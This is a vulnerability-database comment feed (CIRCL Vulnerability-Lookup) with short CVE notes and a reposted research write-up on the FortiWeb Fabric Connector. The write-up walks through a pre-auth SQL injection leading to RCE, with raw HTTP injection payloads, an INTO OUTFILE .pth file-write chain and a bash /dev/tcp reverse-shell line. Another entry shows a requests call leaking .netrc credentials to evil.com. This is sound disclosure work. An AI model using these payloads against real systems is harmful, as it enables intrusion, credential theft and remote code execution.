https://vulnerability.circl.lu/comments/feed Most recent comment. 2025-07-16T01:44:47.691076+00:00 Vulnerability-Lookup info@circl.lu python-feedgen Contains only the most 10 recent comments. https://vulnerability.circl.lu/comment/da6e2e7d-cb96-4560-bf1a-27df4962776e More information 2025-07-16T01:44:47.703287+00:00 Patrick Boulvin http://vulnerability.circl.lu/user/Belspo The vulnerabilities could be used by attackers to gain access to services and data. They can also be used to execute arbitrary commands and cause a denial of service. Confidentiality, integrity and availability are all impacted. The only solution is to upgrade immediately. 2025-05-22T07:24:41.759993+00:00 https://vulnerability.circl.lu/comment/78842211-36a0-4523-9e9a-ea14c1b05b21 More details about CVE-2025-31200 2025-07-16T01:44:47.703213+00:00 Alexandre Dulaunoy http://vulnerability.circl.lu/user/adulau On April 16, 2025, Apple released a patch for a bug in CoreAudio which they said was “Actively exploited in the wild.” This flew under the radar a bit. Epsilon’s blog has a great writeup of the other bug that was presumably exploited in this chain: a bug in RPAC. The only thing out there that I am aware of about the CoreAudio side of the bug is a video by Billy Ellis (it’s great. I’m featured. You should watch…you’re probably here from that anyways). As he mentioned in the video, “Another security researcher by the name of ‘Noah’ was able to tweak the values such that when it was played on MacOS, it actually did lead to a crash.” I think it’s still worth it to write about that ‘tweaking’ process in more detail. I had just finished another project and ended up on a spreadsheet maintained by Project Zero which tracks zero days that have been actively exploited in the wild. It just so happened that that day there had been another addition: CVE-2025-31200. I couldn’t find any writeups on it, or really any information other than the fact that it was a “memory corruption in CoreAudio” so I decided to have a look myself. How hard could it be? For more details - [https://blog.noahhw.dev/posts/cve-2025-31200/](https://blog.noahhw.dev/posts/cve-2025-31200/]) 2025-06-02T20:43:39.581242+00:00 https://vulnerability.circl.lu/comment/a5ae6fa3-504b-4d03-a153-b9f12f911f71 Netrc credential leak in PSF requests library 2025-07-16T01:44:47.703136+00:00 Cédric Bonhomme http://vulnerability.circl.lu/user/cedric The PSF requests library (https://github.com/psf/requests & https://pypi.org/project/requests/) leaks .netrc credentials to third parties due to incorrect URL processing under specific conditions. Issuing the following API call triggers the vulnerability: ` requests.get('http://example.com:@evil.com/&apos;)` Assuming .netrc credentials are configured for example.com, they are leaked to evil.com by the call. The root cause is https://github.com/psf/requests/blob/c65c780849563c891f35ffc98d3198b71011c012/src/requests/utils.py#L240-L245 The vulnerability was originally reported to the library maintainers on September 12, 2024, but no fix is available. CVE-2024-47081 has been reserved by GitHub for this issue. As a workaround, clients may explicitly specify the credentials used on every API call to disable .netrc access. 2025-06-04T05:03:44.190775+00:00 https://vulnerability.circl.lu/comment/eaca75c8-db5f-490c-a54a-c24729db5728 Nuclei template to detect CVE-2025-49113 (Roundcube / Webmail) 2025-07-16T01:44:47.703050+00:00 Cédric Bonhomme http://vulnerability.circl.lu/user/cedric This template looks at the HTML body for the rcversion value and then matches on vulnerable versions. Here is a mapping of the RAW HTML value and version mapping for Roundcube: * 10502 1.5.2 * 10601 1.6.1 * 10506 1.5.6 * 10500 1.5.0 * 10609 1.6.9 * 10611 1.6.11 * 10510 1.5.10 * 10505 1.5.5 * 10503 1.5.3 * 10610 1.6.10 * 10509 1.5.9 * 10607 1.6.7 * 10602 1.6.2 * 10606 1.6.6 * 10605 1.6.5 [More information](https://github.com/rxerium/CVE-2025-49113). 2025-06-04T13:24:17.697301+00:00 https://vulnerability.circl.lu/comment/aaaf84c7-8007-4de5-b99f-ae9a91d6e26d More details about PayU wordpress extension 2025-07-16T01:44:47.702916+00:00 Alexandre Dulaunoy http://vulnerability.circl.lu/user/adulau " This can be abused by a malicious actor to perform action which normally should only be able to be executed by higher privileged users. These actions might allow the malicious actor to gain admin access to the website. " as mentioned in https://patchstack.com/database/wordpress/plugin/payu-india/vulnerability/wordpress-payu-india-plugin-3-8-5-account-takeover-vulnerability?_s_id=cve 2025-06-11T12:34:29.562531+00:00 https://vulnerability.circl.lu/comment/85c55b2b-8a7a-4d34-89ec-52e38ed8903c Additional information 2025-07-16T01:44:47.701304+00:00 Patrick Boulvin http://vulnerability.circl.lu/user/Belspo RISK : Multiple vulnerabilities affect the standard TarFile library for CPython. Currently, there is no indication that the vulnerability is actively exploited, but because it is a zero-day with a substantial install base, attackers can exploit it at any moment. An attacker could exploit flaws to bypass safety checks when extracting compressed files, allowing them to write files outside intended directories, create malicious links, or tamper with system files even when protections are supposedly enabled. Successful exploitation could lead to unauthorised access, data corruption, or malware installation, especially if your systems or third-party tools handle untrusted file uploads or archives RECOMMENDED ACTION: Patch Source: ccb.be 2025-06-25T13:07:32.040392+00:00 https://vulnerability.circl.lu/comment/8e8d20dc-fdfa-49d1-948e-61e14e28462b FortiWeb - Unauthenticated SQL injection in GUI 2025-07-16T01:44:47.701168+00:00 Alexandre Dulaunoy http://vulnerability.circl.lu/user/adulau # PSIRT | FortiGuard Labs Unauthenticated SQL injection in GUI ------------------------------------ ### Summary An improper neutralization of special elements used in an SQL command ('SQL Injection') vulnerability \[CWE-89\] in FortiWeb may allow an unauthenticated attacker to execute unauthorized SQL code or commands via crafted HTTP or HTTPs requests. |Version |Affected |Solution | |------------|--------------------|---------------------------| |FortiWeb 7.6|7.6.0 through 7.6.3 |Upgrade to 7.6.4 or above | |FortiWeb 7.4|7.4.0 through 7.4.7 |Upgrade to 7.4.8 or above | |FortiWeb 7.2|7.2.0 through 7.2.10|Upgrade to 7.2.11 or above | |FortiWeb 7.0|7.0.0 through 7.0.10|Upgrade to 7.0.11 or above | ### Workaround Disable HTTP/HTTPS administrative interface ### Acknowledgement Fortinet is pleased to thank Kentaro Kawane from GMO Cybersecurity by Ierae for reporting this vulnerability under responsible disclosure. ### Timeline 2025-07-08: Initial publication Ref: [https://fortiguard.fortinet.com/psirt/FG-IR-25-151](https://fortiguard.fortinet.com/psirt/FG-IR-25-151) 2025-07-11T07:03:41.794087+00:00 https://vulnerability.circl.lu/comment/94b37950-f479-444b-bff8-5571bd15eac5 Pre-Auth SQL Injection to RCE - Fortinet FortiWeb Fabric Connector (CVE-2025-25257) 2025-07-16T01:44:47.699024+00:00 Alexandre Dulaunoy http://vulnerability.circl.lu/user/adulau # Pre-Auth SQL Injection to RCE - Fortinet FortiWeb Fabric Connector (CVE-2025-25257) Ref: [https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/) Welcome back to yet another day in this parallel universe of security. This time, we’re looking at Fortinet’s FortiWeb Fabric Connector. “What is that?” we hear you say. That's a great question; no one knows. For the uninitiated, or unjaded; > Fortinet’s FortiWeb Fabric Connector is meant to be the glue between FortiWeb (their web application firewall) and other Fortinet ecosystem products, allowing for dynamic, policy-based security updates based on real-time changes in infrastructure or threat posture. Think of it as a fancy middleman - pulling metadata from sources like FortiGate firewalls, FortiManager, or even external services like AWS, and feeding that into FortiWeb so it can automatically adjust its protections. In theory, it should make things smarter and more responsive. If you can’t tell, we moonlight inside Fortinet’s Presales Engineering team - the circle of life is very much real in cybersecurity. Anyway, today, we’re analysing CVE-2025-25257 - a friendly pre-auth SQL injection in FortiWeb Fabric Connector, which, as described above, is the glue between many Fortinet security solutions. Sigh….. [CVE-2025-25257](https://fortiguard.fortinet.com/psirt/FG-IR-25-151?ref=labs.watchtowr.com) is described as follows: > **“Unauthenticated SQL injection in GUI -** An improper neutralization of special elements used in an SQL command ('SQL Injection') vulnerability \[CWE-89\] in FortiWeb may allow an unauthenticated attacker to execute unauthorized SQL code or commands via crafted HTTP or HTTPs requests.” The following versions of FortiWeb are affected: |Version |Affected |Solution | |------------|--------------------|--------------------------| |FortiWeb 7.6|7.6.0 through 7.6.3 |Upgrade to 7.6.4 or above | |FortiWeb 7.4|7.4.0 through 7.4.7 |Upgrade to 7.4.8 or above | |FortiWeb 7.2|7.2.0 through 7.2.10|Upgrade to 7.2.11 or above| |FortiWeb 7.0|7.0.0 through 7.0.10|Upgrade to 7.0.11 or above| In fairness, the Secure-by-Design pledge did not require signers to avoid SQL injections, so we have nothing to say. As always, we digress - onto today’s analysis… Diving In --------- As many are familiar with, when we’re rebuilding N-day’s we typically find ourselves comparing binaries to allow us to quickly determine what has changed and hopefully rapidly identify “the change” we’re looking for. For the purposes of this research, we differ versions of `/bin/httpsd` from; * Version 7.6.3 * Version 7.6.4 We wanted to take a few seconds to point out the current state of vendor responsible patching behavior. We’ve coined this concept, with the basic premise that vendors eventually do things that are in the best interests of their customers. We hope it will catch on. For those unfamiliar, there has been a shift - where vendors seemingly sit on critical, unauthenticated vulnerabilities in their solutions until they've amassed enough tiny, meaningless changes - in an attempt to effectively bury the security fixes in amongst a tirade of nonsense. For example: ![](https://labs.watchtowr.com/content/images/2025/07/image-19.png) Anyway, these attempts are fairly futile and reflect the same amount of maturity that is engrained within their SDLC processes. After 7 Veeam-years (3 minutes), we identified that the following function (still with symbols!) `get_fabric_user_by_token`. The diff output from Diaphora can be found below (don't worry, we will explain this as we go, but isn't it pretty?): ![](https://labs.watchtowr.com/content/images/2025/07/image-20.png) Here’s the relevant portion of the vulnerable function. The issue? A classic SQL injection, a vulnerability so sophisticated that we, as an industry, are still grappling with what the solution could be. In this case, the complexity revolves around the part where attacker-controlled input is dropped directly into a SQL query without sanitisation or escaping. ``` __int64 __fastcall get_fabric_user_by_token(const char *a1) { unsigned int v1; // ebx __int128 v3; // [rsp+0h] [rbp-4B0h] BYREF __int64 v4; // [rsp+10h] [rbp-4A0h] _BYTE v5[16]; // [rsp+20h] [rbp-490h] BYREF __int64 (__fastcall *v6)(_BYTE *); // [rsp+30h] [rbp-480h] __int64 (__fastcall *v7)(_BYTE *, char *); // [rsp+38h] [rbp-478h] void (__fastcall *v8)(_BYTE *); // [rsp+58h] [rbp-458h] __int64 (__fastcall *v9)(_BYTE *, __int128 *); // [rsp+60h] [rbp-450h] void (__fastcall *v10)(__int128 *); // [rsp+68h] [rbp-448h] char s[16]; // [rsp+80h] [rbp-430h] BYREF _BYTE v12[1008]; // [rsp+90h] [rbp-420h] BYREF unsigned __int64 v13; // [rsp+488h] [rbp-28h] v13 = __readfsqword(0x28u); *(_OWORD *)s = 0; memset(v12, 0, sizeof(v12)); if ( a1 && *a1 ) { init_ml_db_obj((__int64)v5); v1 = v6(v5); if ( !v1 ) { **// VULN snprintf(s, 0x400u, "select id from fabric_user.user_table where token='%s'", a1);** v1 = v7(v5, s); if ( !v1 ) { v4 = 0; v3 = 0; v1 = v9(v5, &v3); if ( !v1 ) { if ( (_DWORD)v3 == 1 ) { v10(&v3); } else { v10(&v3); v1 = -3; } } } } v8(v5); } else { return (unsigned int)-1; } return v1; } ``` The new version of the function replaces the previous format-string query with prepared statements – a reasonable attempt to prevent straightforward SQL injection. Let’s take a closer look at how the updated query works: ``` v1 = mysql_stmt_init(v9[0]); v2 = v1; if ( !v1 ) goto LABEL_14; if ( (unsigned int)mysql_stmt_prepare(v1, "SELECT id FROM fabric_user.user_table WHERE token = ?", 53) ) goto LABEL_13; ``` Magic! Fortinet have always been fairly bleeding edge and we’re privileged to watch innovation in real-time. Before we go any further, let’s quickly revisit what “Fabric Connector” actually means in the context of FortiWeb – at least according to Fortinet’s own documentation. ![](https://labs.watchtowr.com/content/images/2025/07/image-21.png) The function in question, `get_fabric_user_by_token`, appears to be callable by external Fortinet products – such as a FortiGate appliance – when attempting to authenticate to the FortiWeb API for integration purposes. Now, at this point, you might be wondering: how do we actually reach this “Fabric Connector” functionality? A quick look at the `httpd.conf` for the running Apache server reveals the following routes: ``` [..SNIP..] <Location "/api/fabric/device/status"> SetHandler fabric_device_status-handler </Location> <Location "/api/fabric/authenticate"> SetHandler fabric_authenticate-handler </Location> <Location ~ "/api/v[0-9]/fabric/widget"> SetHandler fabric_widget-handler </Location> [..SNIP..] ``` Interesting – we’ve got multiple routes referencing `fabric`. But does that mean all of them can reach our prime suspect: the `get_fabric_user_by_token` function? Only one way to find out. Let’s take a look at the cross-references for `get_fabric_user_by_token` to understand exactly how it’s being called. The following diagram gives a useful overview of the call paths: ![](https://labs.watchtowr.com/content/images/2025/07/image-22.png) Here is another point of view: ``` [sub_55ED2EED05F0]──┐ │ [sub_55ED2EED3170]──┼──► [fabric_access_check] ──► [_fabric_access_check] ──► [get_fabric_user_by_token] │ [sub_55ED2EED3270]──┘ ``` The following three functions ultimately invoke `fabric_access_check`, which, in turn, calls our function of interest – `get_fabric_user_by_token`: ``` sub_55ED2EED05F0 --> /api/fabric/device/status sub_55ED2EED3170 --> /api/v[0-9]/fabric/widget/[a-z]+ sub_55ED2EED3270 --> /api/v[0-9]/fabric/widget ``` A quick inspection of those functions confirms they’re tied directly to the routes we saw earlier. So – can we use any of those routes to reach our vulnerable function? Excellent question. The answer: yes. Let’s take a closer look at the following function: ``` sub_55ED2EED05F0 --> /api/fabric/device/status ``` Right off the bat – at \[1\] – one of the very first calls made by this function is to `fabric_access_check`. Promising start! ``` __int64 __fastcall sub_55ED2EED05F0(__int64 a1) { const char *v2; // rdi unsigned int v3; // r13d __int64 v5; // r12 __int64 v6; // rax __int64 v7; // rax __int64 v8; // rax __int64 v9; // r14 __int64 v10; // rax __int64 v11; // rax __int64 v12; // rax __int64 v13; // r14 __int64 v14; // rax __int64 v15; // rax __int64 v16; // rax __int64 v17; // rdx __int64 v18; // rcx __int64 v19; // r14 __int64 v20; // rax const char *v21; // rax size_t v22; // rax const char *v23; // rax v2 = *(const char **)(a1 + 296); if ( !v2 ) return (unsigned int)-1; v3 = strcmp(v2, "fabric_device_status-handler"); if ( v3 ) { return (unsigned int)-1; } else if ( (unsigned int)fabric_access_check(a1) ) // [1] { v5 = json_object_new_object(a1); v6 = json_object_new_string(nCfg_debug_zone + 4888LL); json_object_object_add(v5, "serial", v6); v7 = json_object_new_string("fortiweb"); json_object_object_add(v5, "device_type", v7); v8 = json_object_new_string("FortiWeb-VM"); json_object_object_add(v5, "model", v8); v9 = json_object_new_object(v5); v10 = json_object_new_int(7); json_object_object_add(v9, "major", v10); v11 = json_object_new_int(6); json_object_object_add(v9, "minor", v11); v12 = json_object_new_int(3); json_object_object_add(v9, "patch", v12); json_object_object_add(v5, "version", v9); v13 = json_object_new_object(v5); v14 = json_object_new_int(1043); [..SNIP..] ``` Alright then – time to unpack what the `fabric_access_check` function actually does. It’s dead simple. Here’s the breakdown: * At \[1\], the `Authorization` header is extracted from the HTTP request and stored in the `v3` variable. * At \[2\], the `__isoc23_sscanf` libc function is used to parse the header. It expects the value to start with `Bearer` (note the space), followed by up to 128 characters – which are extracted into `v4`. * At \[3\], `get_fabric_user_by_token` is called, using the value stored in `v4`. ``` __int64 __fastcall fabric_access_check(__int64 a1) { __int64 v1; // rdi __int64 v2; // rax _OWORD v4[8]; // [rsp+0h] [rbp-A0h] BYREF char v5; // [rsp+80h] [rbp-20h] unsigned __int64 v6; // [rsp+88h] [rbp-18h] v1 = *(_QWORD *)(a1 + 248); v6 = __readfsqword(0x28u); v5 = 0; memset(v4, 0, sizeof(v4)); v3 = apr_table_get(v1, "Authorization"); // [1] if ( (unsigned int)__isoc23_sscanf(v2, "Bearer %128s", v4) != 1 ) // [2] return 0; v5 = 0; if ( (unsigned int)fabric_user_db_init() || (unsigned int)refresh_fabric_user() || (unsigned int)get_fabric_user_by_token((const char *)v4) ) // [3] { return 0; } else { return 2 * (unsigned int)((unsigned int)update_fabric_user_expire_time_by_token((const char *)v4) == 0); } } ``` As a quick reminder – `get_fabric_user_by_token` is our vulnerable function, where the attacker-controlled `char *a1` ends up being embedded directly into a MySQL query. ``` __int64 __fastcall get_fabric_user_by_token(const char *a1) { unsigned int v1; // ebx __int128 v3; // [rsp+0h] [rbp-4B0h] BYREF __int64 v4; // [rsp+10h] [rbp-4A0h] _BYTE v5[16]; // [rsp+20h] [rbp-490h] BYREF __int64 (__fastcall *v6)(_BYTE *); // [rsp+30h] [rbp-480h] __int64 (__fastcall *v7)(_BYTE *, char *); // [rsp+38h] [rbp-478h] void (__fastcall *v8)(_BYTE *); // [rsp+58h] [rbp-458h] __int64 (__fastcall *v9)(_BYTE *, __int128 *); // [rsp+60h] [rbp-450h] void (__fastcall *v10)(__int128 *); // [rsp+68h] [rbp-448h] char s[16]; // [rsp+80h] [rbp-430h] BYREF _BYTE v12[1008]; // [rsp+90h] [rbp-420h] BYREF unsigned __int64 v13; // [rsp+488h] [rbp-28h] v13 = __readfsqword(0x28u); *(_OWORD *)s = 0; memset(v12, 0, sizeof(v12)); if ( a1 && *a1 ) { init_ml_db_obj((__int64)v5); v1 = v6(v5); if ( !v1 ) { **// VULN snprintf(s, 0x400u, "select id from fabric_user.user_table where token='%s'", a1);** [..SNIP..] ``` Which means our controlled input – passed via the `Authorization: Bearer %128s` header – ends up in the following MySQL query (using the example value ‘watchTowr’ (because of the imagination we ooze): ``` **select id from fabric_user.user_table where token='watchTowr'** ``` Now, let’s put this theory to the test – we’ll inject a simple `SLEEP` statement and see if it has the intended effect. ![](https://labs.watchtowr.com/content/images/2025/07/image-23.png) For those following along at home, here is the raw HTTP request: ``` GET /api/fabric/device/status HTTP/1.1 Host: 192.168.8.30 Authorization: Bearer AAAAAA' or sleep(5)-- -' ``` Wait – why isn’t the response time equal to 5 seconds? That’s... not what we expected. ![](https://labs.watchtowr.com/content/images/2025/07/image-24.png) Now, for those wondering why the injection above didn’t work (the seasoned folks already know), let’s make a point of answering that properly. We set a breakpoint just after the final query is constructed, using the payload `AAAAAA' or sleep(5)-- -'`. The breakpoint hits – and inspecting the final query reveals something rather unexpected. ![](https://labs.watchtowr.com/content/images/2025/07/image-25.png) As you can see, our single quote was successfully injected, but everything after it was silently dropped. A Fortinet feature? Or perhaps, is there something wrong with the query? As a reminder, here’s the sequence of function calls leading up to the point where our controlled input is inserted into the query: ![](https://labs.watchtowr.com/content/images/2025/07/image-26.png) One call before `get_fabric_user_by_token` is, of course, `_fabric_access_check`. Let’s revisit that code one more time and take a closer look. ``` __int64 __fastcall fabric_access_check(__int64 a1) { __int64 v1; // rdi __int64 v2; // rax _OWORD v4[8]; // [rsp+0h] [rbp-A0h] BYREF char v5; // [rsp+80h] [rbp-20h] unsigned __int64 v6; // [rsp+88h] [rbp-18h] v1 = *(_QWORD *)(a1 + 248); v6 = __readfsqword(0x28u); v5 = 0; memset(v4, 0, sizeof(v4)); v2 = apr_table_get(v1, "Authorization"); if ( (unsigned int)__isoc23_sscanf(v2, "Bearer %128s", v2) != 1 ) return 0; v5 = 0; if ( (unsigned int)fabric_user_db_init() || (unsigned int)refresh_fabric_user() || (unsigned int)get_fabric_user_by_token((const char *)v4) ) { return 0; } else { return 2 * (unsigned int)((unsigned int)update_fabric_user_expire_time_by_token((const char *)v4) == 0); } } ``` See it now? It’s dead simple. The `__isoc23_sscanf` C function is used to extract our input – and, as per its format string, it stops reading at the first space character. That means we can’t include spaces in our injected query. Classic. But of course, we’ve all been around long enough to remember the good old days – and the good old MySQL comment trick: `/**/`. Time to dust it off and see it in action. ![](https://labs.watchtowr.com/content/images/2025/07/image-27.png) For those following along at home, here is the raw HTTP request: ``` GET /api/fabric/device/status HTTP/1.1 Host: 192.168.8.30 Authorization: Bearer AAAAAA'/**/or/**/sleep(5)--/**/-' ``` We’re sure you can feel our joy, as well: ![](https://labs.watchtowr.com/content/images/2025/07/image-28.png) Now let’s throw it back to the ’80s (otherwise known as modern-day Fortinet) and hit the software with a classic `OR 1=1` . This lets us bypass the token check entirely, which is particularly handy if you’re looking to detect the vulnerability's presence without going full-steam ahead with exploitation: ![](https://labs.watchtowr.com/content/images/2025/07/image-29.png) For those following along at home, here is the raw HTTP request: ``` GET /api/fabric/device/status HTTP/1.1 Host: 192.168.8.30 Authorization: Bearer AAAAAA'or'1'='1 ``` Beautiful, a `200 OK` HTTP response - confirming that our SQL injection was successful and the token check was bypassed: ``` HTTP/1.1 200 OK Date: Thu, 10 Jul 2025 17:20:09 GMT Strict-Transport-Security: max-age=31536000; includeSubDomains; preload X-Frame-Options: SAMEORIGIN X-XSS-Protection: 1; mode=block Content-Security-Policy: Script-Src 'self', frame-ancestors 'self'; Object-Src 'self'; base-uri 'self'; X-Content-Type-Options: nosniff Content-Length: 248 Cache-Control: no-cache, no-store, must-revalidate Pragma: no-cache Expires: 0 Content-Type: application/json { "serial": "FVVM00UNLICENSED", "device_type": "fortiweb", "model": "FortiWeb-VM", "version": { "major": 7, "minor": 6, "patch": 3 }, "build": { "number": 1043, "release_life_cycle": "GA" }, "hostname": "FortiWeb", "supported_api_versions": [ 1 ] } ``` Just to help, here is a the request/response pair from a patched version: ![](https://labs.watchtowr.com/content/images/2025/07/image-30.png) HTTP request: ``` GET /api/fabric/device/status HTTP/1.1 Host: 192.168.8.30 Authorization: Bearer AAAAAA'or'1'='1 ``` HTTP response: ``` HTTP/1.1 401 Unauthorized Date: Thu, 10 Jul 2025 17:20:50 GMT Strict-Transport-Security: max-age=31536000; includeSubDomains; preload X-Frame-Options: SAMEORIGIN X-XSS-Protection: 1; mode=block Content-Security-Policy: script-src 'self'; default-src 'self'; style-src 'self' 'unsafe-inline'; font-src 'self'; img-src 'self' data:; connect-src 'self'; frame-ancestors 'none'; object-src 'none'; base-uri 'self'; upgrade-insecure-requests; block-all-mixed-content; X-Content-Type-Options: nosniff Content-Length: 0 ``` Note: We observed the drama and mass PR’s relating to vulnerability detections created via our CVE-2025-5777 analysis - please, slow down and stay calm. From Pre-Auth SQLi to Pre-Auth RCE ---------------------------------- Pre-auth SQLi is fun, but do we look like pentest consultants looking to ‘validate’ a vulnerability before we head into our ‘reporting time’? Now the rollercoaster of fun begins – can we escalate this MySQL injection into Remote Command Execution? To find out, we crack open the ancient scrolls of MySQL exploitation and revisit a time-honoured technique: the **`INTO OUTFILE`** statement. As a quick refresher, `INTO OUTFILE` gives us an arbitrary file write primitive, allowing us to drop files directly onto the target filesystem. Even the MySQL docs describe it like this: ![](https://labs.watchtowr.com/content/images/2025/07/image-31.png) Now, one important caveat when using `INTO OUTFILE` – the file gets written with the privileges of the user running the MySQL process. And as we all know, 90% of the time, that��s the `mysql` user – assuming, of course, nothing’s been misconfigured. Ha ha ha ha ha. Well – let’s find out. ![](https://labs.watchtowr.com/content/images/2025/07/image-32.png) Yikes. In fairness, again, this level of detail isn’t in any pledge so how would Fortinet have known? So, now, in this parallel universe of security - we’re still in the 80’s and we’ve got arbitrary file write as `root` via our SQL injection. Naturally, the next step is code execution. You might be thinking: “just drop a webshell.” And, to be honest, you’d be absolutely right. As it turns out, there’s a conveniently exposed `cgi-bin` directory we can write to – and Apache’s own `httpd.conf` backs this up loud and clear: ``` [..SNIP..] <IfModule alias_module> ScriptAlias /cgi-bin/ "/migadmin/cgi-bin/" </IfModule> <Directory "/migadmin/cgi-bin"> Options +ExecCGI SetHandler cgi-script </Directory> [..SNIP..] ``` So if we drop files into `cgi-bin` and visit them, we should get code execution, right? Well – not quite. The files do end up in the right place, but they aren’t marked as executable. And no, we can’t set the executable bit via SQL injection. Dead end? Not yet. At this point, you might chime in with: > Haha, why don’t you just overwrite an existing executable file? Well, dear informed reader – as we mentioned earlier, `INTO OUTFILE` in MySQL doesn’t allow you to overwrite or append to existing files. The file must not exist when the statement runs – otherwise, it fails. So... dead end? Still no. Let’s get creative – it’s time to take a closer look at what’s already living inside the `cgi-bin` directory: ``` bash-5.0# ls -la /migadmin/cgi-bin drwxr-xr-x 2 root 0 4096 Jul 10 05:55 . drwxr-xr-x 14 root 0 4096 Jul 10 05:49 .. -rwxrwxrwx 1 root 0 1499568 Mar 3 17:25 fwbcgi -rwxr-xr-x 1 root 0 3475 Mar 3 17:25 ml-draw.py ``` Well well – would you look at that. There’s a Python file sitting right there in `cgi-bin`, and yes – we can browse to it, and Apache will happily execute it as a CGI script. Totally safe. Nothing to see here. But here’s the interesting bit: checking the shebang line of that Python file reveals something unsurprising – but extremely useful for what comes next. ``` #!/bin/python import os import sys import cgi import cgitb; cgitb.enable() os.environ[ 'HOME' ] = '/tmp/' import time from datetime import datetime import matplotlib matplotlib.use( 'Agg' ) import pylab form = cgi.FieldStorage() [..SNIP..]] ``` The shebang tells us that when this script is executed (as it is every time the file is accessed), it’s run using `/bin/python`. So every time someone visits this file – Python spins up. You see where this is going? If not, don’t worry – here’s a neat trick that’s been around for a while when you find yourself in a situation like this. Credit where it’s due – the folks at SonarSource have done an excellent job documenting this primitive, so we’ll borrow a line directly within their blog post: > Python supports a feature called site-specific configuration hooks. Its main purpose is to add custom paths to the module search path. To do this, a .pth file with an arbitrary name can be put in the .local/lib/pythonX.Y/site-packages/ folder in a user's home directory: Pretty useful – especially when arbitrary file write meets Python execution. ``` user@host:~$ echo '/tmp' > ~/.local/lib/python3.10/site-packages/foo.pth ``` Long story short: if you can write to that directory and drop a file with a `.pth` extension, Python will helpfully do the rest. Specifically, if any line in that `.pth` file starts with `import[SPACE]` or `import[TAB]` followed by valid Python code, the [`site.py`](https://docs.python.org/3/library/site.html?ref=labs.watchtowr.com) parser – which is executed every time a Python process starts – will say, “Ah, yes, I should run this line of code.” If you’d like to dive deeper into this, once again, we highly recommend reading SonarSource Research’s explanation – they cover this primitive better than most. So, the plan is simple: 1. Write a `.pth` file with Python code inside it into the `site-packages` directory, 2. Trigger `/cgi-bin/ml-draw.py`. 3. Apache will launch `/bin/python`, `site.py` will run, and our `.pth` file will get picked up and executed – no executable bit required. Perfect. But a plan is just a plan – can we actually pull this off? We started naively, by attempting the following query: ``` '/**/or/**/1=1/**/UNION/**/SELECT/**/'import os;os.system(\\'ls\\')'/**/into/**/outfile/**/'/var/log/lib/python3.10/site-packages/trigger.pth ``` The idea was simple: write `import os;os.system('ls')` into `/var/log/lib/python3.10/site-packages/trigger.pth`. But, of course, a few issues quickly surfaced: * Our payload contains a space – which, as we’ve established, breaks the `%128s` constraint in the `sscanf` call. * Even worse, the total header value now exceeds the 128-character limit entirely. Okay – what if we shorten the path to something like `/var/log/lib/python3.10/site-packages/a.pth`? That helps a little... but we’re still stuck with the space in `import os`. To get around that, we can turn to an old favourite from the MySQL toolbox – the `UNHEX()` function. ``` UNHEX('41414141') --> AAAA ``` So we just hex-encode our payload and write it to the file? If only life were that easy. Let’s say we try a reverse shell payload – something like this: ``` import os; os.system('bash -c "/bin/bash -i >& /dev/tcp/{args.lhost}/{args.lport} 0>&1"') ``` We’ll end up with something like this: ``` UNHEX('696d706f7274206f733b206f732e73797374656d282762617368202d6320222f62696e2f62617368202d69203e26202f6465762f7463702f312f3220303e2631222729') ``` Which, unfortunately, exceeds the maximum input limit. Frustrated, we had an idea: what if instead of going for a one-shot payload, we break it down into chunks? Could that work? Of course, there’s a well-known limitation with MySQL’s `INTO OUTFILE` – it only allows writing to new files. No appending, no overwriting. You get one shot per file path. But then came the twist: sure, we’re limited to calling `INTO OUTFILE` once per destination file – but we’re not limited in how we build the content beforehand. So what if we store our payload, chunk by chunk, into another column... and then ask MySQL to dump that column’s value into a file? Looking through the schema for `fabric_user.user_table`, one column stood out immediately: `token`. Perfect. ![](https://labs.watchtowr.com/content/images/2025/07/image-33.png) Would something like this work? ``` Bearer '/**/UNION/**/SELECT/**/token/**/from/**/fabric_user.user_table/**/into/**/outfile/**/'/var/log/lib/python3.10/site-packages/b.pth ``` But once again – the query above? 137 bytes long. Looks like we’re cooked, right? We were more than a little frustrated at this point. But – not out of ideas. What if we used glob characters? Instead of supplying the full path, we tried something like: ``` bash /var/log/lib/python3.10/site-*/ ``` Unfortunately, MySQL greeted us with another error – turns out it doesn’t support globbing in `INTO OUTFILE`. Shame. Okay, new idea: what if we used a relative path instead of an absolute one? Great news – that worked. By using a relative path in the `INTO OUTFILE` query, MySQL resolved it relative to the process’s working directory – which happened to be pretty close to Python’s `site-packages`. We used: ``` bash ../../lib/python3.10/site-packages/x.pth ``` And the final payload? ``` sql '/**/UNION/**/SELECT/**/token/**/from/**/fabric_user.user_table/**/into/**/outfile/**/'../../lib/python3.10/site-packages/x.pth' ``` Total length: **127 bytes**. One byte to spare. Lucky us. Detection Artefact Generator ---------------------------- 0:00 /0:37 ![](https://labs.watchtowr.com/content/media/2025/07/Fortiweb-Demo_thumb.jpg) ![](https://labs.watchtowr.com/content/images/2025/07/image-34.png) [https://github.com/watchtowrlabs/watchTowr-vs-FortiWeb-CVE-2025-25257](https://github.com/watchtowrlabs/watchTowr-vs-FortiWeb-CVE-2025-25257?ref=labs.watchtowr.com) At [watchTowr](https://www.watchtowr.com/?ref=labs.watchtowr.com), we passionately believe that continuous security testing is the future and that rapid reaction to emerging threats single-handedly prevents inevitable breaches. With the watchTowr Platform, we deliver this capability to our clients every single day - it is our job to understand how emerging threats, vulnerabilities, and TTPs could impact their organizations, with precision. If you'd like to learn more about the [**watchTowr Platform**](https://www.watchtowr.com/?ref=labs.watchtowr.com)**, our Attack Surface Management and Continuous Automated Red Teaming solution,** please get in touch. 2025-07-11T12:39:36.125991+00:00 https://vulnerability.circl.lu/comment/0a71f125-a137-48db-a374-4ea54b4c1e4d Proof Of Concept for CVE-2025-32463 2025-07-16T01:44:47.698884+00:00 Cédric Bonhomme http://vulnerability.circl.lu/user/cedric > **DISCLAIMER** > > This code is for **educational and research purposes only.** > > Do not use it on systems you do not own or have permission to test. > > The author is **not responsible** for any misuse, damage, or legal consequences resulting from the use of this code. # sudo chroot PrivEsc PoC (CVE-2025-32463) [This is an implementation](https://github.com/morgenm/sudo-chroot-CVE-2025-32463) of the sudo chroot vulnerability ([CVE-2025-32463](https://nvd.nist.gov/vuln/detail/CVE-2025-32463)) exploit I wrote in Rust based on [sudo's advisory](https://www.sudo.ws/security/advisories/chroot_bug/) and the [Stratascale advisory](https://www.stratascale.com/vulnerability-alert-CVE-2025-32463-sudo-chroot). The exploit allows you to run arbitray code in the form of a shared 